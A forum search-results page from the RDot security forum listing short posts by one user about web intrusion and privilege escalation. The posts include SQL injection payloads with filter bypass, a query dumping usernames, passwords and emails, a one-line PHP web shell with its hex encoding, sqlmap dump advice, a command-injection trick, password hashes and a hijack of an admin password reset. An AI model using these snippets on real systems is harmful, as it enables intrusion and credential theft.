Регистрация Поиск Сообщения за день Все разделы прочитаны
Вернуться   RDot: White Hat Security Community > Поиск по форуму
Перезагрузить страницу Результаты поиска

Страница 1 из 3 1 23
Показано с 1 по 25 из 64.
На поиск затрачено 0.01 сек. Поиск: Сообщения от: Tim
Раздел: Web-среда/Web-applications 02.06.2018, 00:21
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Нельзя, но можно залить шел через скулю.

Нельзя, но можно залить шел через скулю.
Раздел: Web-среда/Web-applications 19.12.2015, 11:36
Ответов: 2
Просмотров: 12,075
Автор Tim
chroot, jail ядерным сплойтом

chroot, jail

ядерным сплойтом
Раздел: Повышение привилегий/Privilege escalation 22.11.2015, 23:22
Ответов: 1
Просмотров: 12,907
Автор Tim
Есть что-то рабочее на эту багу? Проверял...

Есть что-то рабочее на эту багу?

Проверял POС на FreeBSD 9.1-RELEASE #0 r243825 amd64
Второй POС ребутит систему,
а третий вроде что-то читает.


Как это можно использовать?
Раздел: Web-среда/Web-applications 01.11.2015, 00:07
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Вопрос, как выйти из Jail? Рут добывается...

Вопрос, как выйти из Jail?


Рут добывается с помощью http://pastebin.com/mvrVAtJw
https://rdot.org/forum/showthread.php?t=2775
Раздел: Повышение привилегий/Privilege escalation 31.10.2015, 22:29
Ответов: 17
Просмотров: 33,418
Автор Tim
Причина подобного lose its SUID. В описании...

Причина подобного lose its SUID. В описании подсказка:

Решение:
поменять таргет
Раздел: Целевые системы/Target systems 30.08.2015, 23:20
Ответов: 1
Просмотров: 16,777
Автор Tim
кластер

кластер
Раздел: Web-среда/Web-applications 29.05.2015, 16:20
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Редактирование файлов тем, плагинов. Возможно на...

Редактирование файлов тем, плагинов. Возможно на какие-то из файлов будут права.
Раздел: Web-среда/Web-applications 03.05.2015, 23:54
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
select concat_ws(0x3a,username,password,email)...

select concat_ws(0x3a,username,password,email) from database.table_user limit 0,1000
Раздел: Web-среда/Web-applications 01.05.2015, 14:04
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
https://github.com/sqlmapproject/sqlmap/wiki/Usage...

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Смотри в сторону --dump, --sql-shell тебе не нужен
Раздел: Web-среда/Web-applications 17.04.2015, 18:19
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Разбей файл на мелкие куски, отредактируй нужный...

Разбей файл на мелкие куски, отредактируй нужный и собери обратно в большой файл

Разбиваем file на куски по 10050 строк в каждом файле:
split -l 10050 file file_

Редактируем.

Собираем...
Раздел: Повышение привилегий/Privilege escalation 01.02.2015, 06:40
Ответов: 1,219
Просмотров: 1,235,994
Автор Tim
Подскажите, патченный staprun или я что-то не так...

Подскажите, патченный staprun или я что-то не так делаю?

sh-3.2$ ls -lha /usr/bin/staprun
---s--x--x 1 root root 42K May 24 2008 /usr/bin/staprun

sh-3.2$ printf "install uprobes /bin/sh" >...
Раздел: Сценарии/CMF/СMS 25.09.2014, 13:16
Ответов: 6
Просмотров: 19,182
Автор Tim
Сделать восстановление пароля, вытащить ключ для...

Сделать восстановление пароля, вытащить ключ для восстановления, поменять на свой. Учти только то, что на почту админа придут письма..
Раздел: Web-среда/Web-applications 08.05.2014, 09:34
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Вывода ошибок нет. Путей тоже нет. Проверить...

Вывода ошибок нет. Путей тоже нет.
Проверить работу COPY не могу, т.к. нельзя сделать выборку при помощи SELECT FROM.
При срабатывании фильтра просто пустая страница.
Есть скрипт, который выводит...
Раздел: Web-среда/Web-applications 08.05.2014, 06:51
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Да, если в запросе присутсвует SELECT и FROM,...

Да, если в запросе присутсвует SELECT и FROM, тогда срабатывает фильтр.
Сервер вообще не возвращает ответ: Content-Length: 0

Версия
PostgreSQL 9.0.4 on x86_64-unknown-linux-gnu, compiled by GCC...
Раздел: Web-среда/Web-applications 04.05.2014, 17:37
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Есть варианты обхода фильтра в postgress? ...

Есть варианты обхода фильтра в postgress?

true
script.php?prod_id=-1+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,session_user,NULL+/*f-rom+information_schema.columns*/--

false...
Раздел: Сценарии/CMF/СMS 25.03.2014, 17:13
Ответов: 75
Просмотров: 195,626
Автор Tim
iDevAffiliate Version 7.1 Кто-нибудь смог...

iDevAffiliate Version 7.1
Кто-нибудь смог залиться?
Файлы можно загружать, но проверка расширения портит все.
file.php.pdf к примеру не работает.
Раздел: Криптография/Cryptography 02.02.2014, 16:30
Ответов: 919
Просмотров: 782,341
Автор Tim
DES jNJ0JuKffVISw Z.1jXEWZ9oNGs ...

DES
jNJ0JuKffVISw
Z.1jXEWZ9oNGs
gIvmg6EVRREEw
2gw0GiEeF5GNo
kz5q2r99Y73rk
Раздел: Web-среда/Web-applications 21.12.2013, 07:38
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
из information_schema инфу выводит, а с рабочей...

из information_schema инфу выводит, а с рабочей базы не хочет
good query


error query


без разницы через что, одна и таже ошибка
Раздел: Web-среда/Web-applications 20.12.2013, 20:34
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
hi all Mysql 5.5.34-cll ...

hi all
Mysql 5.5.34-cll

lower_case_table_names=0
Т.е. название таблиц регистро зависимо.

Уязвимый параметр переводится в верхний регистр
Раздел: Web-среда/Web-applications 13.10.2013, 23:52
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
вырежи из запроса /*<?@system($_GET[cmd])?>*/ ...

вырежи из запроса /*<?@system($_GET[cmd])?>*/
это я тебе показал что в хексе 0x3C3F4073797374656D28245F4745545B636D645D293F3E
Раздел: Web-среда/Web-applications 13.10.2013, 06:46
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Создай сразу шелл ...

Создай сразу шелл ...
Раздел: Web-среда/Web-applications 11.10.2013, 04:25
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Eсть возможность записи в конфиг /etc/redis.conf,...

Eсть возможность записи в конфиг /etc/redis.conf, что можно придумать, чтобы поднять права?
Раздел: Web-среда/Web-applications 26.09.2013, 22:17
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
ls$IFS-la

ls$IFS-la
Раздел: Web-среда/Web-applications 25.07.2013, 17:42
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
Что-нибудь типа LOAD DATA INFILE '/tmp/test.txt'...

Что-нибудь типа LOAD DATA INFILE '/tmp/test.txt' INTO TABLE test
можно выполнить?
Чтоб обновить данные в таблицах.
Поискать может в каких таблицах есть конфиги или php код, который потом...
Раздел: Web-среда/Web-applications 02.07.2013, 16:02
Ответов: 3,618
Просмотров: 3,275,295
Автор Tim
trololoman96 ничего. смотри плагины. зачастую они...

trololoman96 ничего. смотри плагины. зачастую они не используют функционал wp для фильтрации, потому встречаются баги
Показано с 1 по 25 из 64.
Страница 1 из 3 1 23

 
Быстрый переход


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot


Обратная связь - Архив - Вверх